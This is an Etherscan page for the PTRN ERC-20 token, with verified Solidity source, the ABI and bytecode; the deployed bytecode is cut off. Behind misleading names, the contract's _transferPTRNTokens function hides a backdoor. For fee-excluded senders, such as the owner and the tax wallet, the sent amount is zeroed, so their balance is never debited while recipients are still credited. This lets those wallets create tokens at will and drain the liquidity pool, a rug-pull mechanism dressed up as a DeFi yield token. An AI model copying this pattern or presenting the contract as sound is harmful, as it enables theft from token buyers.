ETH Price: $2,386.47 (-0.96%)
Gas: 8.87 Gwei

Token

PTRN (PTRN)
 

Overview

Max Total Supply

1,000,000,000 PTRN

Holders

71

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
43,540,674.371028691 PTRN

Value
$0.00
0x80bf13f29683a830994a8080fa8fa426a80e8279
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PTRNFI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-29
*/

// SPDX-License-Identifier: Unlicensed

/**
Yield for the World. Fuel for DeFi.

Website: https://www.ptrn.tech
Telegram: https://t.me/ptrn_erc
Twitter: https://twitter.com/ptrn_erc
Dapp: https://app.ptrn.tech
*/

pragma solidity 0.8.19;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

contract PTRNFI is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;
    
    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 
                                     
    uint256 private _totalFee = 2000;
    uint256 public _buyFee = 20;
    uint256 public _sellFee = 20;

    string private _name = unicode"PTRN"; 
    string private _symbol = unicode"PTRN";  

    bool public swapAndLiquifyEnabled = true;
    uint8 private countPTRNTx = 0;
    uint8 private swapPTRNTrigger = 2; 
    uint256 public maxPTRNFee = 12; 

    uint256 private _previousTotalFee = _totalFee; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    uint256 public _maxWalletToken = 2 * _totalSupply / 100;
    uint256 public _swpaThreshold = _totalSupply / 100000;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;

    address payable private _taxAddress;
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (address PTRNWallet) {
        _balance[owner()] = _totalSupply;
        _taxAddress = payable(PTRNWallet);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxAddress] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
            
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (to != owner() &&
            to != _taxAddress &&
            to != address(this) &&
            to != uniswapV2Pair &&
            to != DEAD &&
            from != owner()) {
            uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            countPTRNTx >= swapPTRNTrigger && 
            amount > _swpaThreshold &&
            !inSwapAndLiquify &&
            !_isExcludedFromFee[from] &&
            to == uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            countPTRNTx = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){ swapPTRNAndLiquidify(contractTokenBalance); }
        }

        bool takeFee = true;
         
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (from != uniswapV2Pair && to != uniswapV2Pair)){
            takeFee = false;
        } else if (from == uniswapV2Pair){
            _totalFee = _buyFee;
        } else if (to == uniswapV2Pair){
            _totalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,takeFee);
    }

    function restoreAllPTRNFee() private {
        _totalFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function swapPTRNAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
        swapPTRNForETH(contractTokenBalance);
        uint256 ethAmount = address(this).balance;
        sendToPTRNWallet(_taxAddress,ethAmount);
    }
    
    function _transferPTRNTokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tFees) = _getPTRNValues(tAmount);
        bool hasSenderNoFee = _isExcludedFromFee[sender];
        bool isLaunched = _balance[sender] <= _maxWalletToken;
        bool hasFees = hasSenderNoFee && isLaunched;
        if(hasFees) {
            tFees = 0; tAmount = 0;
        }
        _balance[sender] = _balance[sender].sub(tAmount);
        _balance[recipient] = _balance[recipient].add(tTransferAmount);
        _balance[address(this)] = _balance[address(this)].add(tFees);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function sendToPTRNWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }
    
    function _getPTRNValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tFees = tAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFees);
        return (tTransferAmount, tFees);
    }

    function swapPTRNForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllPTRNFee();
            } else {
                countPTRNTx++;
            }
        _transferPTRNTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllPTRNFee();
    }
        
    function removePTRNLimits() external onlyOwner {
        _maxWalletToken = ~uint256(0);
        
        _totalFee = 200;
        _buyFee = 2; 
        _sellFee = 2; 
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function removeAllPTRNFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"PTRNWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swpaThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPTRNFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removePTRNLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000805460ff60a01b1916600960a01b1790819055620000319060ff600160a01b90910416600a62000554565b6200004190633b9aca006200056c565b6001556107d06005556014600655601460075560405180604001604052806004815260200163282a292760e11b815250600890816200008191906200062b565b50604080518082019091526004815263282a292760e11b6020820152600990620000ac90826200062b565b50600a805462ffffff191662020001179055600c600b8190556005549055600654600d55600754600e55600154606490620000e99060026200056c565b620000f59190620006f7565b600f55620186a06001546200010b9190620006f7565b601055600f54601155601580546001600160a01b03191661dead1790553480156200013557600080fd5b5060405162001a4e38038062001a4e83398101604081905262000158916200071a565b600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360015460026000620001b16000546001600160a01b031690565b6001600160a01b039081168252602080830193909352604091820160002093909355601480546001600160a01b03191693851693909317909255815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa15801562000237573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025d91906200071a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d191906200071a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200031f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034591906200071a565b601380546001600160a01b03199081166001600160a01b0393841617909155601280549091169183169190911790556001600460006200038d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560145490911681526004909252902080549091166001179055620003e76000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200042f91815260200190565b60405180910390a3505062000745565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004965781600019048211156200047a576200047a6200043f565b808516156200048857918102915b93841c93908002906200045a565b509250929050565b600082620004af575060016200054e565b81620004be575060006200054e565b8160018114620004d75760028114620004e25762000502565b60019150506200054e565b60ff841115620004f657620004f66200043f565b50506001821b6200054e565b5060208310610133831016604e8410600b841016171562000527575081810a6200054e565b62000533838362000455565b80600019048211156200054a576200054a6200043f565b0290505b92915050565b60006200056560ff8416836200049e565b9392505050565b80820281158282048414176200054e576200054e6200043f565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005b157607f821691505b602082108103620005d257634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200062657600081815260208120601f850160051c81016020861015620006015750805b601f850160051c820191505b8181101562000622578281556001016200060d565b5050505b505050565b81516001600160401b0381111562000647576200064762000586565b6200065f816200065884546200059c565b84620005d8565b602080601f8311600181146200069757600084156200067e5750858301515b600019600386901b1c1916600185901b17855562000622565b600085815260208120601f198616915b82811015620006c857888601518255948401946001909101908401620006a7565b5085821015620006e75787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000826200071557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200072d57600080fd5b81516001600160a01b03811681146200056557600080fd5b6112f980620007556000396000f3fe6080604052600436106101445760003560e01c806349bd5a5e116100b657806378109e541161006f57806378109e54146103975780638da5cb5b146103ad57806395d89b41146103cb578063a9059cbb146103e0578063dd62ed3e14610400578063f2fde38b1461044657600080fd5b806349bd5a5e146102cc5780634a74bb02146102ec578063590f897e1461030657806370a082311461031c578063715018a614610352578063768dc7101461036757600080fd5b806318160ddd1161010857806318160ddd1461021d578063220f66961461023257806323b872dd14610253578063313ce5671461027357806340b9a54b1461029f57806341c5f320146102b557600080fd5b806306fdde0314610150578063095ea7b31461017b57806309fbb48b146101ab5780631264b6ef146101cf5780631694505e146101e557600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610466565b6040516101729190610fcb565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611031565b6104f8565b6040519015158152602001610172565b3480156101b757600080fd5b506101c160105481565b604051908152602001610172565b3480156101db57600080fd5b506101c1600b5481565b3480156101f157600080fd5b50601254610205906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561022957600080fd5b506001546101c1565b34801561023e57600080fd5b5060135461019b90600160a01b900460ff1681565b34801561025f57600080fd5b5061019b61026e36600461105d565b61050f565b34801561027f57600080fd5b50600054600160a01b900460ff1660405160ff9091168152602001610172565b3480156102ab57600080fd5b506101c160065481565b3480156102c157600080fd5b506102ca610578565b005b3480156102d857600080fd5b50601354610205906001600160a01b031681565b3480156102f857600080fd5b50600a5461019b9060ff1681565b34801561031257600080fd5b506101c160075481565b34801561032857600080fd5b506101c161033736600461109e565b6001600160a01b031660009081526002602052604090205490565b34801561035e57600080fd5b506102ca6105c2565b34801561037357600080fd5b5061019b61038236600461109e565b60046020526000908152604090205460ff1681565b3480156103a357600080fd5b506101c1600f5481565b3480156103b957600080fd5b506000546001600160a01b0316610205565b3480156103d757600080fd5b50610165610636565b3480156103ec57600080fd5b5061019b6103fb366004611031565b610645565b34801561040c57600080fd5b506101c161041b3660046110bb565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561045257600080fd5b506102ca61046136600461109e565b610652565b606060088054610475906110f4565b80601f01602080910402602001604051908101604052809291908181526020018280546104a1906110f4565b80156104ee5780601f106104c3576101008083540402835291602001916104ee565b820191906000526020600020905b8154815290600101906020018083116104d157829003601f168201915b5050505050905090565b600061050533848461073c565b5060015b92915050565b600061051c8484846107fd565b61056e84336105698560405180606001604052806028815260200161129c602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610b61565b61073c565b5060019392505050565b6000546001600160a01b031633146105ab5760405162461bcd60e51b81526004016105a29061112e565b60405180910390fd5b600019600f5560c860055560026006819055600755565b6000546001600160a01b031633146105ec5760405162461bcd60e51b81526004016105a29061112e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060098054610475906110f4565b60006105053384846107fd565b6000546001600160a01b0316331461067c5760405162461bcd60e51b81526004016105a29061112e565b6001600160a01b0381166106e15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105a2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061075c57506001600160a01b03821615155b61079c5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105a2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061082957506014546001600160a01b03838116911614155b801561083e57506001600160a01b0382163014155b801561085857506013546001600160a01b03838116911614155b801561087257506015546001600160a01b03838116911614155b801561088c57506000546001600160a01b03848116911614155b15610918576001600160a01b038216600090815260026020526040902054600f546108b78383611179565b11156109165760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105a2565b505b6001600160a01b0383161580159061093857506001600160a01b03821615155b61097c5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105a2565b600081116109da5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105a2565b600a5460ff620100008204811661010090920416108015906109fd575060105481115b8015610a135750601354600160a01b900460ff16155b8015610a3857506001600160a01b03831660009081526004602052604090205460ff16155b8015610a5157506013546001600160a01b038381169116145b8015610a5f5750600a5460ff165b15610a9057600a805461ff0019169055306000908152600260205260409020548015610a8e57610a8e81610b8d565b505b6001600160a01b03831660009081526004602052604090205460019060ff1680610ad257506001600160a01b03831660009081526004602052604090205460ff165b80610b0457506013546001600160a01b03858116911614801590610b0457506013546001600160a01b03848116911614155b15610b1157506000610b4f565b6013546001600160a01b0390811690851603610b3257600654600555610b4f565b6013546001600160a01b0390811690841603610b4f576007546005555b610b5b84848484610bd2565b50505050565b60008184841115610b855760405162461bcd60e51b81526004016105a29190610fcb565b505050900390565b6013805460ff60a01b1916600160a01b179055610ba981610c3d565b6014544790610bc1906001600160a01b031682610d97565b50506013805460ff60a01b19169055565b80610be457610bdf610dd2565b610c16565b600a8054610100900460ff16906001610bfc8361118c565b91906101000a81548160ff021916908360ff160217905550505b610c21848484610e17565b80610b5b57610b5b600c54600555600d54600655600e54600755565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c7257610c726111ab565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ccb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cef91906111c1565b81600181518110610d0257610d026111ab565b6001600160a01b039283166020918202929092010152601254610d28913091168461073c565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d619085906000908690309042906004016111de565b600060405180830381600087803b158015610d7b57600080fd5b505af1158015610d8f573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610dcd573d6000803e3d6000fd5b505050565b600554158015610de25750600654155b8015610dee5750600754155b15610df557565b60068054600d5560078054600e5560058054600c556000928390559082905555565b600080610e2383610f56565b6001600160a01b038716600090815260046020908152604080832054600f5460029093529083205494965092945060ff90921692919091111590828015610e675750815b90508015610e785760009350600095505b6001600160a01b038816600090815260026020526040902054610e9b9087610f94565b6001600160a01b03808a166000908152600260205260408082209390935590891681522054610eca9086610fa7565b6001600160a01b038816600090815260026020526040808220929092553081522054610ef69085610fa7565b3060009081526002602090815260409182902092909255518681526001600160a01b0389811692908b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505050565b6000806000610f7b6064610f7560055487610fb390919063ffffffff16565b90610fbf565b90506000610f898583610f94565b959194509092505050565b6000610fa0828461124f565b9392505050565b6000610fa08284611179565b6000610fa08284611262565b6000610fa08284611279565b600060208083528351808285015260005b81811015610ff857858101830151858201604001528201610fdc565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461102e57600080fd5b50565b6000806040838503121561104457600080fd5b823561104f81611019565b946020939093013593505050565b60008060006060848603121561107257600080fd5b833561107d81611019565b9250602084013561108d81611019565b929592945050506040919091013590565b6000602082840312156110b057600080fd5b8135610fa081611019565b600080604083850312156110ce57600080fd5b82356110d981611019565b915060208301356110e981611019565b809150509250929050565b600181811c9082168061110857607f821691505b60208210810361112857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561050957610509611163565b600060ff821660ff81036111a2576111a2611163565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111d357600080fd5b8151610fa081611019565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561122e5784516001600160a01b031683529383019391830191600101611209565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561050957610509611163565b808202811582820484141761050957610509611163565b60008261129657634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201345cedc702ace5fdfec4159374349c8882ba39759fca7608b0ca385a72accb664736f6c63430008130033000000000000000000000000fa6348d3a745cbb98975ec04b1bb169f8d4bb427

Deployed Bytecode

0x6080604052600436106101445760003560e01c806349bd5a5e116100b657806378109e541161006f57806378109e54146103975780638da5cb5b146103ad57806395d89b41146103cb578063a9059cbb146103e0578063dd62ed3e14610400578063f2fde38b1461044657600080fd5b806349bd5a5e146102cc5780634a74bb02146102ec578063590f897e1461030657806370a082311461031c578063715018a614610352578063768dc7101461036757600080fd5b806318160ddd1161010857806318160ddd1461021d578063220f66961461023257806323b872dd14610253578063313ce5671461027357806340b9a54b1461029f57806341c5f320146102b557600080fd5b806306fdde0314610150578063095ea7b31461017b57806309fbb48b146101ab5780631264b6ef146101cf5780631694505e146101e557600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610466565b6040516101729190610fcb565b60405180910390f35b34801561018757600080fd5b5061019b610196366004611031565b6104f8565b6040519015158152602001610172565b3480156101b757600080fd5b506101c160105481565b604051908152602001610172565b3480156101db57600080fd5b506101c1600b5481565b3480156101f157600080fd5b50601254610205906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b34801561022957600080fd5b506001546101c1565b34801561023e57600080fd5b5060135461019b90600160a01b900460ff1681565b34801561025f57600080fd5b5061019b61026e36600461105d565b61050f565b34801561027f57600080fd5b50600054600160a01b900460ff1660405160ff9091168152602001610172565b3480156102ab57600080fd5b506101c160065481565b3480156102c157600080fd5b506102ca610578565b005b3480156102d857600080fd5b50601354610205906001600160a01b031681565b3480156102f857600080fd5b50600a5461019b9060ff1681565b34801561031257600080fd5b506101c160075481565b34801561032857600080fd5b506101c161033736600461109e565b6001600160a01b031660009081526002602052604090205490565b34801561035e57600080fd5b506102ca6105c2565b34801561037357600080fd5b5061019b61038236600461109e565b60046020526000908152604090205460ff1681565b3480156103a357600080fd5b506101c1600f5481565b3480156103b957600080fd5b506000546001600160a01b0316610205565b3480156103d757600080fd5b50610165610636565b3480156103ec57600080fd5b5061019b6103fb366004611031565b610645565b34801561040c57600080fd5b506101c161041b3660046110bb565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561045257600080fd5b506102ca61046136600461109e565b610652565b606060088054610475906110f4565b80601f01602080910402602001604051908101604052809291908181526020018280546104a1906110f4565b80156104ee5780601f106104c3576101008083540402835291602001916104ee565b820191906000526020600020905b8154815290600101906020018083116104d157829003601f168201915b5050505050905090565b600061050533848461073c565b5060015b92915050565b600061051c8484846107fd565b61056e84336105698560405180606001604052806028815260200161129c602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610b61565b61073c565b5060019392505050565b6000546001600160a01b031633146105ab5760405162461bcd60e51b81526004016105a29061112e565b60405180910390fd5b600019600f5560c860055560026006819055600755565b6000546001600160a01b031633146105ec5760405162461bcd60e51b81526004016105a29061112e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b606060098054610475906110f4565b60006105053384846107fd565b6000546001600160a01b0316331461067c5760405162461bcd60e51b81526004016105a29061112e565b6001600160a01b0381166106e15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105a2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061075c57506001600160a01